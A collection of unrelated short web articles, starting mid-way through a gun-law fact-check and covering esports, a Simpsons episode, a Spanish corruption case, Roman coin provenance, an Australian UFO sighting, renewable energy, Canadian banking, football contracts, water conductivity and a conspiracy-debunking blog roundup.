Between February 2004, and December 2014, 2,233 people on the list applied to buy a weapon. Of those, 2,043 were allowed to proceed. Our ruling Schumer’s character said, "You can absolutely get a gun if you have several felonies as long as you buy it on the Internet or at a gun show." The kind of transaction Schumer described is possible, though illegal, and far more complicated than her comment suggests. Federal law prohibits felons from buying guns. But with some effort, they could purchase a gun from private sellers over the Internet or at a gun show without getting caught, because private sellers are not required to run background checks. Schumer is doing a comedy bit, but compared with similar claims we’ve checked, her phrasing makes it sound like buying guns with a felony is easy and lawful. That is not the case. The context is significant. We rate her claim Half True. |
Major League Gaming, host of the previous Major, will officially host the Americas Minor at its MLG Arena in Columbus, Ohio from May 19-22. Following the announcement of the next CS:GO Major at ESL One Cologne, the system of Minor events in four regions (Asia, Europe, CIS, and the Americas) was once again kicked into gear but it was only the Americas Minor which had "TBA" (to be announced) attached to it. The wait for information about the Americas Minor is over as MLG, who last were seen hosting the MLG Columbus Major and who previously ran the Americas Minor in January at the MLG Arena, have announced that they will officially host the Americas Minor. The Americas Minor returns to the MLG Arena Taking place at the MLG Arena in Columbus, Ohio from May 19-22, the Americas Minor will be like the other Minors in that it will have a $50,000 prize pool and dole out two spots to the official Major qualifier (about which no information is yet known). Eight teams will compete at the Americas Minor, with four of the teams receiving direct invites and three teams advancing via an online North American qualifier and one team advancing via a South American qualifier. The Minors team list is as follows: Tempo Storm OpTic Selfless NRG NA qualifier NA qualifier NA qualifier NA qualifier NA qualifier NA qualifier SA qualifier SA qualifier Teams will go into the Minor split into two groups of four and the top two teams from each group (which will be best-of-one aside from decider matches which will be best-of-three) will advance to a double elimination, best-of-three bracket. The final two teams in the bracket will qualify for the Major qualifier and then play a grand final for the lion's share of the prize-pool. The full schedule for the Americas Minor can be found here. The prize distribution for the Americas Minor is: 1. $30,000 + ESL One Cologne 2016 Offline Qualifier 2. $15,000 + ESL One Cologne 2016 Offline Qualifier 3-4. $2,500 stich writes for HLTV.org and can be found on Twitter |
"Brush with Greatness" is the eighteenth episode of The Simpsons' second season. It originally aired on the Fox network in the United States on April 11, 1991.[3] In the episode, Marge revives her high school-era interest in painting by enrolling in an art class after getting encouraged by Lisa. When she wins first prize in a local art competition for a portrait of Homer on the couch in his underwear, Mr. Burns commissions her to paint a portrait of him. Meanwhile, Homer is determined to lose weight after becoming stuck in a water slide at an amusement park. The episode was written by Brian K. Roberts and directed by Jim Reardon. Beatles member Ringo Starr guest starred as himself, while Jon Lovitz starred as Marge's art teacher, Professor Lombardo. The episode features cultural references to films such as Rocky and Gone with the Wind. Since airing, the episode has received mostly positive reviews from television critics, who praised the use of Starr and the central focus on Marge. It acquired a Nielsen rating of 12.0, and was the second highest-rated show on the Fox network the week it aired. Plot [ edit ] After Bart and Lisa see Krusty the Clown do his show at the Mt. Splashmore water park on TV, they consistently irritate and supplicate Homer about going there. Homer gets annoyed, but reluctantly decides to take them there. The family goes to Mt. Splashmore, where Bart, Lisa and Homer ride an intense water slide named H 2 WHOA!. Due to his weight, Homer gets lodged in the water slide mid-course and the park's rescue crew are forced to shut down the ride and remove him with the help of a large crane. Homer is made a fool of on the news for his massive size and admits that he needs to lose weight. Once home, an embarrassed Homer announces to his family that he will go on a diet and exercise more. While Homer is looking for his weights in the attic, Bart stumbles upon several old paintings of Ringo Starr that Marge made as a student in high school, when she had a crush on Starr. Marge tells Lisa that she was scolded by her art teacher for doing those paintings; she also recalls sending a painting to Starr for an "honest opinion", but she never got a response. Lisa suggests that Marge take a painting class at Springfield Community College, which she does. She makes a painting of Homer on the couch in his underwear, which her professor, Lombardo, praises. The painting wins the college art show, thus gaining her fame and the headlines of the newspapers. Mr. Burns wants Marge to paint his portrait for the Burns Wing of the Springfield Art Museum. Desperate to please his boss, Homer convinces Marge to agree, although she declines Homer's urging for her to paint Burns as a beautiful man. While at the Simpson house, Burns takes a shower, and Marge inadvertently walks in on him naked, although neither speak of the faux pas later. Meanwhile, Homer finds out that he has lost 21 pounds from his exercise regimen and now weighs 239. After Mr. Burns insults Homer's weight, Lisa and Maggie, Marge throws him out and is ready to quit until Homer encourages her to finish the painting. When she receives a reply from Ringo Starr, who is decades behind on answering his fanmail, praising the painting she sent him long ago, Marge is further inspired. After working until well into the night, she finishes the painting and then it is unveiled at the opening of the Burns Wing. The painting depicts a naked, frail, and weak Mr. Burns. The people are shocked, until Marge explains that it depicts what Mr. Burns actually is: a vulnerable human being who will, one day, be no more. Mr. Burns is outraged at first, but then, like everyone else, accepts his new glory, praises Marge's painting and thanks Marge "for not making fun of [his] genitalia", to which Marge replies, "I thought I did."[1] Production [ edit ] The episode was written by Brian K. Roberts and directed by Jim Reardon. Prior to writing the episode, Roberts had been an audio and visual editor on the show.[4] Musician Ringo Starr made a guest appearance in the episode as himself. He was the first Beatle to appear on the show; both George Harrison and Paul McCartney would later guest star on the show in the season five episode "Homer's Barbershop Quartet" and the season seven episode "Lisa the Vegetarian" respectively. When the story of Marge having a crush on Starr was pitched out, Roberts took the opportunity to write Starr into the script because he had always wanted to meet a Beatle. He then sent the script to Starr, who was then in Southern France. Starr agreed to do the guest appearance after only reading two lines, and he told Roberts that he would be able to do it when he visited Los Angeles a few weeks later. The staff of the show was thrilled when Roberts revealed that Starr had agreed to do it, and they immediately decided to expand Starr's role in the script.[4][5] The Simpsons creator Matt Groening said of the guest appearance: "We were so excited that we got Ringo Starr coming in to do the show and we recorded him over at the Complex in West Los Angeles. We were given a list of rules about what we couldn't do to Ringo, such as 'Don't touch him', 'Don't approach him', and 'Don't ask for his autograph'. But of course when he shows up in this big limo, Brian brings out a big poster and asks him to sign it!"[6] Roberts explained that he had not received the memo with the rules so he showed up with a copy of the script cover and asked Starr to sign it.[4] Groening asked Starr if he wanted to be animated the way he was in Yellow Submarine or the way he was in the cartoon series The Beatles. Starr chose Yellow Submarine because he did not like his appearance in the cartoon.[6] In addition to Starr, the episode features a guest appearance by Jon Lovitz as Lombardo and the doughnut delivery man that delivers doughnuts to the nuclear power plant. Lombardo's physical appearance was based on an art teacher Reardon had in art school.[7] Cultural references [ edit ] The line for the H 2 WHOA! ride reproduces the staircases in the lithograph Ascending and Descending by M. C. Escher.[1] The way Krusty removes the clown make-up from his face resembles the way the Joker removes his make-up in the 1989 film Batman.[2] When Homer announces he is going on a diet, he says: "As God is my witness, I'll always be hungry again!", a reference to the famous line "As God is my witness... I'll never be hungry again!" from the film Gone with the Wind.[1] Homer exercises in a way similar to how Rocky exercises in the 1976 film Rocky.[2] The music that plays as Homer approaches the scale is the main theme from the film The Good, the Bad and the Ugly.[5] A copy of Andy Warhol's painting Campbell's Soup Cans is visible at the art gallery.[1] Reception [ edit ] In its original broadcast, "Brush with Greatness" finished thirty-seventh in the ratings for the week of April 8–14, 1991, with a Nielsen rating of 12.0, equivalent to approximately eleven million viewing households. It was the second highest-rated show on the Fox network that week, following Married... with Children.[8] The episode received positive reviews from television critics. Many lauded the use of Starr; for instance, IGN ranked his performance in the episode, along with Paul McCartney's performance in "Lisa the Vegetarian" and George Harrison's performance in "Homer's Barbershop Quartet", as the tenth best guest appearance in The Simpsons' history. They added that "Although none of these appearances were really large, the fact that the most popular band of all time appeared on The Simpsons is a large statement on the popularity and importance of the show."[9] Doug Pratt, a DVD reviewer and Rolling Stone contributor, wrote that "Brush with Greatness" has a "well thought-out" plot and he enjoyed the use of Starr and Marge's previously undiscovered talents.[10] Paul A. Cantor, the author of the book Gilligan Unbound: Pop Culture in the Age of Globalization, said the "once again Brian K. Roberts proves his genius with 'Brush with Greatness' in a superb work where Marge cultivates her wonderful artistic side."[11] DVD Movie Guide's Colin Jacobson wrote: "From the opening at Mt. Splashmore through Homer’s diet and the unveiling of Mr. Burns’ controversial portrait, the episode packed a lot of great material. It also expanded Marge’s character in a pleasing way, as it avoided any semblance of sappiness; we needed a break from sentiment after 'Old Money'. Overall, 'Brush with Greatness' provided a terrific episode."[12] The authors of the book I Can't Believe It's a Bigger and Better Updated Unofficial Simpsons Guide, Warren Martyn and Adrian Wood, wrote: "A superb episode, with Marge rightfully centre stage. Despite his general unpleasantness, Mr Burns' gratitude to Marge is both welcome and unexpected. And the dig at Water Parks is spot on."[2] In October 2008, Ringo Starr posted a video on his website in which he said he was too busy to answer fan mail and that all mail sent to him after October 20 would be thrown out.[13] Although Starr did not mention "Brush with Greatness" in the video, several media sources compared his announcement to his portrayal in the episode.[14][15] |
The ruling Popular Party (PP) did not incur in tax crimes when it used over €888,000 in undeclared funds to pay for reform work at its Madrid headquarters. This is the conclusion reached by anticorruption prosecutors investigating claims that the conservatives kept a parallel accounting system for illegal financing purposes. On Monday, the prosecutors filed their final report on the Bárcenas case – named after one-time PP treasurer Luis Bárcenas, who claims to have kept secret handwritten ledgers for his former employer. The prosecution’s report certifies that the secret accounts really did exist Anticorruption attorney Antonio Romeral is asking for a five-year prison term for Bárcenas and for his predecessor, Álvaro Lapuerta, who are both accused of misappropriating funds, forging documents and incurring in tax crimes. Although the political party itself is not considered guilty of tax crimes, the prosecution’s report certifies that the secret accounts really did exist, and that the PP has civil liability for the alleged crimes of its former treasurers. A month ago, the High Court concluded a lengthy investigation into the Bárcenas case. In a 190-page report, examining magistrate Pablo Ruz asserted that the PP kept parallel accounts between 1990 and 2008 and used this undeclared money, which often came from illegal donations, to pay for election campaigns, under-the-table bonuses to party officials and reform work to PP premises. Now, the anticorruption prosecutor supports this theory and notes that while they held the treasurer’s post, Bárcenas and Lapuerta “managed cash funds provided by donors who were barred from giving under party finance legislation.” The prosecutor’s report also underscores that these cash inflows and outflows were not reflected in the official accounts that the PP presented to the Audit Court. Parts of these secret accounts were first published by EL PAÍS in January 2013, leading to widespread media coverage of the case. Bárcenas also faces charges in the related Gürtel investigation into a bribes-for-contracts scheme affecting many PP officials. |
In Bank Leu Auction 25 of ancient coins, which took place on 23 April 1980, one of the coins, lot 305, was a really incredible Sestertius of Hadrian with a reverse of the Exercitus Britannicus. In many ways this is the most important and evocative Roman coin relating to Britain in existence. It was estimated at CHF 20,000 but sold to the English collector, G. Cope, for CHF 75,000 after a sale room battle with Tradart. No provenance was given for this coin in the catalogue, but it is known to have been consigned by M. Ratto, the head of a famous firm in Milan, and the story was that it came from an old Italian collection that had long been in Lugano (as so many Italian collections are). In any case, the coin had the “feel” of one that had been in a collection for a long time; it certainly was not a recent find. This coin is Mr. Cope’s favorite Roman coin. He showed it on his numismatic web site (http://www.petitioncrown.com/) and in time the British Museum’s coin department asked him if he would mind loaning it for display; he was, of course, very pleased to do so, and facilitated the production of 100’000 postcard’s for the BM showing the coin and some related items. The coin became a very popular exhibit, especially among English visitors, since for the British it was so closely bound up with their past and with the story of Hadrian’s Wall (for foreign visitors it showed how the Roman Imperial mint honored the Roman forces in Britain and emphasized what an integral part this northern province was in the Roman world). Thus, over the years this ancient coin was seen and enjoyed by an enormous number of people. Unfortunately, in 2012, regulations concerning artifacts and ancient coins that did not have a provenance dating back to before 1970 came into force and the authorities of the British Museum informed Mr. Cope that the coin could not be displayed any longer. This was because the traceable provenance only went back to 1980 – although the coin’s appearance clearly showed that it had to have been above ground and in a collection for a considerable time before then. In 2013 negotiations began for the Hadrian Exercitus Britannicus to go on display again in another prestigious museum in the UK. The coin’s obvious importance as an illustration of British history made its display a must. However, this story has just taken a dramatic and remarkable new turn. While checking through one of the early auction catalogues in the Nomos library in Zurich, the young scholar Y. Gunzenreiner, who is now working at Nomos under Dr. Alan Walker and had recently photographed and studied the coin, was astonished to discover a much earlier provenance for this splendid sestertius. It was in the sale of the very distinguished collection of Roman coins owned by the late Professor Prospero Sarti, which was held by G. Sangiorgi in Rome on 7 May 1906, where it appeared as lot 428 and its reverse was illustrated on pl. VII. Thus, the Hadrian Exercitus Britannicus now has a provable pedigree going back at least to the second half of the 19th century (Sarti died in 1904). In addition, it is clear from the photographic plate in the Sarti catalogue that the coin had various incrustations on the reverse that were subsequently very carefully removed. They certainly were no longer there when the coin appeared publicly for the next time in 1980. LEFT: Bank Leu Auction 25 Lot 305 purchased by Geoffrey Cope in 1980 RIGHT: Lot 428 from the G. Sangiorgi Rome Auction on May 7 1906 from the Professor Prospero Sarti Collection Not only does this discovery restore some of the coin’s history, it also shows how dubious it is to assume that a coin without a known provenance prior to 1970 is ipso facto a recent find. The fact is that there is no truly universal photograph file we can turn to for all the coins that have appeared in illustrated commercial publications (auctions, fixed price lists, etc.) since the 1880s; thus, coins, like this one, which do in fact have clear provenances are deprived of them through lack of information when they reappear generations later (Bank Leu had a very good photofile for provenance research, but the Sarti sale was not included – and the catalogue was not in their library). In addition, prior to the advent of cheaper means of photography, especially after the 1960s, very large numbers of coins commonly were sold without illustration (for example when the great Strozzi collection was sold in Rome by Sangiorgi in 1907 only a little more than 10% of the coins in the catalogue were on the plates). The implications this has for the current debate over provenance should be clear. It is especially important to note that despite the great importance of this coin its provenance remained unknown for a generation after its sale in 1980, even though it had appeared in an illustrated auction catalogue produced by a major firm (and in the 1980s such catalogues were still being sent out free of charge to scholars and institutions all over the world); how many other coins of lesser importance that are now on the market have equally long collection histories, but ones that have been lost in the mists of time? Dr. Alan Walker Nomos – Zurich www.nomosag.com E-Mail awalker@nomosag.com Geoffrey Cope www.petitioncrown.com E-Mail info@petitioncrown.com |
UFO spotted over eastern Australia Updated An astronomer says a bright spiralling light spotted in the sky by people across eastern Australia was probably a satellite, space junk or a rocket. The UFO was seen moving through the sky just before Saturday's sunrise in New South Wales, Queensland and the ACT. ABC News Online has received dozens of emails, pictures and videos from those who claim to have witnessed the huge white light. Some described it as a "lollipop-type swirl". Others say it hovered for a while before gradually moving in an eastern direction until it was out of sight. Those who saw the object say photos do not reflect how large it actually was. Geoffrey Whyatt from the Sydney Observatory says it was probably a satellite, space junk or a rocket. "The fact that you've got the rotation, the spiral effect, is very reminiscent of the much widely reported sightings from Norway and Russia last year, which both turned out to be a Bulava missile which was being adjusted in its orbit," he said. "So possibly a rocket, I would say, having some sort of gyroscopic stability rocket fired on its side." Mr Whyatt says it is a rare phenomenon. "The first I saw of the spirals was last year when they were reported in Norway and then a few days later in Russia," he said. "The Norway one was very spectacular because of its symmetrical appearance. "But the one this morning and the one in Russia bear a striking similarity of being the same effects from a rocket trying to be controlled or adjusted." A privately-owned rocket launched from Cape Canaveral in Florida on its first test flight is believed to be responsible. But Doug Moffett from UFO Research NSW says he has a few problems with this theory. "Firstly, the time of the launch was 18.45 GMT, which translates to 4.45am EST, the duration of the flight was 9 minutes 38 seconds - this is a full hour before the reported sightings," he said. "Secondly, where was the glow from the boosters or from the friction created by the craft moving through the atmosphere, where was the tail of the rocket? "Thirdly, why would anyone launch a rocket on a maiden test flight with a trajectory that would take it over the most heavily populated parts of Australia? "And how big must this rocket have been to be seen so clearly, at the same time, over such a vast distance?" 'Like a bright star' Canberra resident James Butcher says he was driving home from a night out with his brother when they spotted the "strange spiral light in the sky". "It had a distinct bright centre, much like a bright star, indicating an object shedding light trails, spiralling and fattening out from it," he said. "The effect lasted only two or three minutes, moving and descending quickly out of view. "The colour was yellowish but this may have been blurred and tinted by the morning fog." Wollongong man Eddie Wise says he also saw the light during his morning walk just before 6:00am. He says he has never seen anything like it. "It was like a yellowish, greenish light with a light spiral around it," he said. "It sort of moved around, bobbed up and down and then it went behind a cloud. "I'm just amazed. I want to know what it was." A caller to the ABC, Robyn, says she saw the phenomenon from her home on Sydney's north shore just before 6:00am. She says it was over within two minutes. "There was this white light up in the sky like a huge revolving moon," Robyn said. "At first I thought it was the moon but it was travelling so fast, high up above the eastern horizon and twirling as it went. "It was just amazing and to be quite frank, I was quite frightened and my heart's still pounding." 'Lollipop-type swirl' A number of people from Morayfield and Caboolture in Queensland have reported that they too saw a white light in the sky about 5:50am. "It was just the one light. I just came home from my walk and I happened to look up in the sky, and here it was racing across the sky," Linda told 612 ABC Brisbane. "I bashed on the window for my husband to have a look and he flew out. "It was spectacular." Linda described the light as like a lollipop swirl. She says the light came from the west and was headed east, out to sea. "It was just unreal. There was a cloud in the sky - just this light with a swirl in the middle," she said. Peter, from Balmoral, says he saw the light while he was on a ferry terminal on the Brisbane River. "It certainly had that lollipop-type swirl ... but it was travelling low and fairly fast, and as it went past me and I looked up, it looked like a row of lights, maybe four lights," he said. Denise, at Pine Mountain, told ABC radio in Brisbane that she saw the lights shortly before 6:00am. "I got up at about 5:45 to let my horse out of his stable ... and I saw this coming from a north-west direction towards the south-east," she said. "There was no noise. It was like bands of ribbon coming out of it and it looked like it was coming through a cloud, yet there were no clouds." Did you see the UFO? Send us your pics. Topics: offbeat, human-interest, science-and-technology, weird-and-wonderful, wollongong-2500, act, canberra-2600, australia, nsw, sydney-2000, qld, brisbane-4000 First posted |
Renewable Energy For Dummies What Exactly Is Renewable Energy? 2008 has been a pretty wild and productive year as far as energy goes, as we have a pretty big problem right now, and no one seems to be able to agree on exactly how to solve it. Luckily, we do have some options on the table, and after all the smoke and dust clears, perhaps we can figure out which method(s) are most economical and most efficient. I’m speaking of renewable energy, which is quite different than fossil fuels in one main and obvious regard – we can renew it (hence the name renewable energy). Currently, there are five viable sources of renewable energy that we as humans can take advantage of, and a short description of each: 1. Solar Energy – Ah, the power of the sun. Unless you’ve lived in a cave all of your life, you probably have a good idea that solar energy is energy collected from the sun and used later for electricity and heating. Obviously the sun is quite large, and in most parts of the world, you can collect a rather large amount of solar energy assuming you have the equipment. The technology required to harness the sun’s energy is getting less expensive by the year, and it’s a viable alternative source that we must consider taking advantage of if we want to live to see 50 years from now. More individuals and even business owners are taking advantage of it these days to fight the skyrocketing costs of electricity bills, and of course, for the tax benefits. 2. Geothermal Power – If you weren’t aware, we have this really hot thing in the middle of the Earth. It’s called the “core”. Anyway, deep inside the Earth, there are all sorts of things going on, and the one we’re most interested in is the heat. There is more than an abundance of natural heat down there, and when we harness and utilize that heat for energy, that form of energy is called Geothermal energy. More and more these days, homes and businesses are using geothermal heating systems to save on energy bills and to do their part in “going green”. Geothermal is actually a really great form of energy, since it doesn’t produce any pollution or greenhouse gases, but the only drawback is the initial cost to install the equipment to harness it. Not to mention, you have to live in a place that has the right geological properties in order to use it. 3. Wind Power – Wind energy is another one of those renewable sources that is very, very environmentally friendly, and actually has been used for quite some time. Generating electricity from wind is pretty straight forward – basically, electricity is produced when wind blows a massive turbine that spins to create the electricity. The equipment is somewhat expensive still, but over the course of the next ten years or so, that may change. One other drawback is that if it isn’t windy outside, then guess what – no wind, no power. Luckily, battery technology is very good in that turbines can store energy for days that have less wind than others. 4. Hydro Power – Another widely used source of renewable energy, hydro power is harnessed by using the flow of water to move turbines to create electricity. Water has been used for quite some time to make electricity, but died out a bit when fossil fuels became more popular. However, hydro energy is still used today, with about 7% of the energy in the US being powered by hydro electric power plants. Hydro power plants are typically found on large bodies of water (like big rivers), so geographically, you’ll only find them in states that can support them. Again, as technology develops, we’ll probably see a more widespread use of hydro power in the future, as it is a clean burning and natural way to power homes and businesses. 5. Bio Energy – Creating energy from plants and grains seems to be all the rage these days. Biodiesel, corn gasoline, and other forms of bio energy are being utilized all over the place to help combat out of control gas prices. Ethanol, which is basically gas made from corn, is widely used to power vehicles, and costs quite a bit less than regular gas. Many manufacturers are crating ethanol ready cars and trucks, and consumers seem to buy them more and more. There are all sorts of grains, plants and other naturally occurring gifts from Mother Nature that we can use to create different forms of bio energy, and as we move into the future, don’t be surprised if by the year 2020, you’re powering your car on carrots and beans. |
Toronto-Dominion Bank Chief Executive Officer Ed Clark said Canada’s economy is in danger of underperforming the U.S. as consumers become increasingly “fragile” amid rising household debt and home prices. [np_storybar title=”Vancouver’s housing market is the second least affordable in the world, survey finds” link=”https://business.financialpost.com/2014/01/21/vancouver-house-prices-affordability-2014/”%5DHomes in Vancouver cost 10.3 times gross annual median household income, according to the 10th annual report by the Belleville, Illinois-based consulting company. Keep reading. [/np_storybar] “Canada could well undergrow the United States for the next three or four years, which means we’re going to have lower interest rates for longer,” Clark, 66, said this week in an interview at the bank’s Toronto headquarters. “There’s a risk that people are going to keep borrowing.” Canada’s economy, once the envy of developed countries following the global recession, is struggling to gain momentum as households deal with record debts. Low interest rates pushed the nation’s ratio of debt to disposable income to a record 163.7% in the third quarter, according to Statistics Canada, surpassing levels in the U.S. “We’ve learned around the world that when you make the consumer indebted like that, their ability to withstand shocks is dramatically less,” Clark said. “So the economy as a whole is more accident prone, more fragile.” The economy as a whole is more accident prone, more fragile Clark, who has run Toronto-Dominion since December 2002, said the situation undermines Canada’s competitiveness, and the country may not be able to “ride up the U.S. growth” as much as in previous times. “Over time, the consumer becomes more fragile and the Canadian economy becomes less competitive,” he said. “That’s worth worrying about.” Clark, who led the Toronto-based bank in a $25 billion U.S. expansion, will retire in November after a dozen years in the post. He’ll be succeeded by Bharat Masrani, 57, the chief operating officer. Clark, a self-described “old-fashioned banker,” said he’s not going to spend the next few months trying to land another big transaction before departing. “My job is to make sure there’s a smooth transition,” he said. “What you’re going to get is continuity, but with a new management team — and in the sense the same management team, but refreshed and elevated.” Clark joined in 2000 after the lender acquired Canada Trust’s parent CT Financial Services Inc., where he was president and CEO. He led a U.S. consumer-lending expansion that began with a 2004 agreement to buy a 51% stake in Portland, Maine-based Banknorth Group Inc. Toronto-Dominion now has more branches in the U.S. than it does in Canada. The bank probably won’t pursue more U.S. deals for the moment, though it “doesn’t mean we’re anti deals,” Clark said. The premium for buying branches in the U.S. is too high compared with building them, Clark said, adding the lender plans to open 15 more locations in New York City this year. “That’s a better deal than trying to buy those 15 branches.” It’s also hard to buy U.S. bank assets and earn a worthwhile return for shareholders, Clark said. Still, he would consider another credit-card transaction similar to the firm’s March deal with Target Corp. for $5.7 billion in U.S. balances. Toronto-Dominion has led Canada’s biggest banks in collectively buying $20 billion of credit-card assets since 2009. The lender, which bought about half of Canadian Imperial Bank of Commerce’s Aerogold Visa credit-card portfolio last year, introduced a rewards card this month with Aeroplan owner Aimia Inc. “They’re blowing the lights out,” Clark said of the initial response to TD’s new Aeroplan card. “It’s really taken us aback.” ‘Direct Winner’ While Clark said he remains concerned that rising home prices in Canada are putting pressure on consumers, he doesn’t expect a downturn similar to the U.S. housing bust. Canada’s residential market has outpaced the rate of inflation and wage growth during the past 10 years. “I’m not worried that there’s a housing bubble that’s going to collapse and bring the economy down, nor am I worried that if there’s a significant fall in prices that TD itself would be directly hurt,” Clark said. Toronto-Dominion is benefiting from the weakening Canadian currency. The loonie fell to its lowest level in 4 1/2 years against the U.S. dollar on Jan. 22 after the Bank of Canada kept its benchmark interest rate unchanged. “In a short-run sense we’re a direct winner because we have significant U.S. dollar earnings and they’re getting revalued in Canadian dollars,” Clark said. The weakening Canadian dollar is “probably net a good thing for Canada” he said. “Some recalibration was clearly necessary.” Bloomberg.com |
Newcastle United quintet, James Tavernier, Michael Richardson, Paul Dummett, Connor Newton and Bradden Inman have all signed new contract extensions today on their return to pre-season training. Dummett, Inman and Newton, all graduates from the Little Benton Academy and have previously been included in matchday squads but none are yet to have made their senior debut, have signed one-year contract extensions. Richardson was signed to the Academy in July, 2010 from non-league club Walker Central and has made a handful of appearances on the bench since, failing also to make his senior debut for the club, however in 2011 he made 3 appearances for Leyton Orient during a one-month loan spell with the League One club. He too has extended his contract with the club for a further year. Most notably, however, James Tavernier has signed a 3-year contract extension as he sets his sights on breaking into the first-team in the upcoming season. Tavernier, 20, has made 2 appearances for the Newcastle United first team to date, both coming in Carling Cup fixtures against Peterborough and Accrington Stanley respectively. Tavernier has also spent time on loan in the past two seasons at Gateshead, Carlisle, Sheffield Wednesday and most recently the MK:Dons, totalling 50 appearances. Speaking to the Newcastle United official website, had the following to say regarding his future with the club; “It’s a massive year and it’s just about getting really at it from the start – from now – because my main aim is to really push on and get in this team next year” “There’s obviously going to be more chances for all the young lads that are coming through so it is obviously a big step where we maybe can play in those games and make an impact. There’s plenty of games coming up and obviously the European qualifiers, so there are plenty of games around the corner and hopefully I can get a chance in one of those games, have a really good game and show that I can actually be in this team.” Tavernier added that he would not have any apprehension towards another loan-spell; “Pre-season is going to determine that and I’m going to speak to the gaffer, if, football-wise, I can make the next step up and maybe have a season-long loan in the Championship and really set my stall out there or I can fight for a place here, I will.” Advertisements |
Electrical Conductivity and Water You're never too old to learn something new. All my life I've heard that water and electricity make a dangerous pair together. And pretty much all of the time that is true—mixing water and electricity, be it from a lightning bolt or electrical socket in the house, is a very dangerous thing to do. But what I learned from researching this topic was that pure water is actually an excellent insulator and does not conduct electricity. Water that would be considered "pure" would be distilled water (water condensed from steam) and deionized water (used in laboratories), although even water of this purity can contain ions. But in our real lives, we normally do not come across any pure water. If you read our article about water being the "universal solvent" you know that water can dissolve more things than just about any other liquid. Water is a most excellent solvent. It doesn't matter if the water comes out of your kitchen faucet, is in a swimming pool or dog dish, comes out of the ground or falls from the sky, the water will contain significant amounts of dissolved substances, minerals, and chemicals. These things are the solutes dissolved in water. Don't worry, though—if you swallow a snowflake, it won't hurt you; it may even contain some nice minerals your body needs to stay healthy. Free ions in water conduct electricity Fish shocking to collect biological samples. One hydrologist is using a backpack electro-fisher to stun the fish. Credit: Alan Cressler, USGS View full size Water quits being an excellent insulator once it starts dissolving substances around it. Salts, such as common table salt (NaCl) is the one we know best. In chemical terms, salts are ionic compounds composed of cations (positively charged ions) and anions (negatively charged ions). In solution, these ions essentially cancel each other out so that the solution is electrically neutral (without a net charge). Even a small amount of ions in a water solution makes it able to conduct electricity (so definitely don't add salt to your "lightning-storm" bath water.). Once water contains these ions it will conduct electricity, such as from a lightning bolt or a wire from the wall socket, as the electricity from the source will seek out oppositely-charged ions in the water. Too bad if there is a human body in the way. Interestingly, if the water contains very large amounts of solutes and ions, then the water becomes such an efficient conductor of electricity that an electrical current may essentially ignore a human body in the water and stick to the better pathway to conduct itself—the masses of ions in the water. That is why the danger of electrocution in sea water is less than it would be in bath water. Lucky for us hydrologists here at the U.S. Geological Survey (USGS), water flowing in streams contains extensive amounts of dissolved salts. Otherwise, these two USGS hydrologists might be out of a job. Many water studies include investigating the fish that live in streams, and one way to collect fish for scientific study is to shoot an electrical current through the water to shock the fish ("zap 'em and bag 'em"). |
Dragon*Con is coming, so I am going to be gone for a few days. I’m participating in 3 panels and working at the IIG-Atlanta table. But I could not go and leave you without your weekly week that was weak. Also at dprogram, a NWO insider spilled the beans in 1969. Evidence? Transcript of a 1988 interview with a guy who badly remembered the original conversation he had with someone who is now dead. Who said that rigorous scholarship is dead? Also, look at the complete litany of the conspiracies. There is no single conspiracy that they don’t believe. A disappointing week for those of us who prefer the sound of a Gibson guitar to the sound of our mother’s voice. Not only did Alex Jones’s site seize on the raid on the Gibson plant (part of an investigation into illegally imported wood), but Gibson actually twitter-linked to Mike Adams, Health Jerk’s site: “Federal gestapo illegally raid Gibson Guitar factories, arbitrarily confiscate millions of dollars worth of wood used to make instruments.” This makes me sad. 1) I have never heard of a responsible company calling the government gestapo, and to sign off on this is bizarre. 2) I like Gibson and their product. I have strict instructions to be buried with a Gibson. At sea. In a burning Viking ship. But the raid is being spun as politically motivated. The evidence, the CEO is a Republican and other guitar manufacturers use the same wood. You have to do better than that. I saw a comment by the importer who supplies Gibson and other guitar manufacturers to the effect that there is nothing special about the wood Gibson uses compared to the other woods, however, people seem to be missing the point that the importer will be in trouble if he is bringing rare and protected woods into the country. So, he’s hardly reliable and without a stake in this. I sincerely hope that Gibson is not using protected woods, and the only way to tell is to see the evidence. Sigh. Ah, good old fashioned Holocaust denial on Above Top Secret. Revisionism is denial, buddy. And saying that it was a Zionist plot? You are beneath contempt. Scientists are intent on ripping the universe a new time-hole. Here’s an example of how conspiracy theorists take things out of context and wave it around. I hate that they make me defend Donald “the Prince of f’in Darkness” Rumsfeld. If he doesn’t say, “We should carry out another attack with thermite, because it worked so well on September 11. Muahahahah!” this is not evidence of what you think it is. By the way, if they were so in charge, why wasn’t there another attack to boost W’s popularity? Is Comet Elenin breaking up into little bits? And how will this effect it not hitting us or affecting the Earth in any discernible way? Universe Today has the story. Well, who’s pissed off Anonymous this week? So far, NATO. Also, Wall Street. I think that it’s funny that one a gigantic media corporation, Warner Bros, gets a cut every time they buy a Guy Fawkes mask! Keep fighting the power, Guys! (See what I did there?) I should go to this. And learn Danish. Hey, how about that Libya, eh? the Bilderbergers really pulled that one off, didn’t they? Also, We Are Change Minnesota, Jesse Ventura’s chapter, I’m sure, makes Rick Perry look grown up and level headed when they ask him about the Bilderbergers. Nice job, guys. (Start around 3:30.) Now that’s all I really have time for this week. There was more, oh so much more. But I’ll try to get some more in next week’s edition. So, keep your tin foil hats pulled down tightly over your temporal lobes, and enjoy my parting shot. Yes, after a few weeks of respite, I have resurrected the bloated corpse of: Conspiracy Theory of the Week: I loved this one. If rebels take over Libya, then the Mediterranean will be swarming with Al-Qaeda pirates. RJB Share this: Share Email Twitter Reddit Print Facebook Like this: Like Loading... Related |
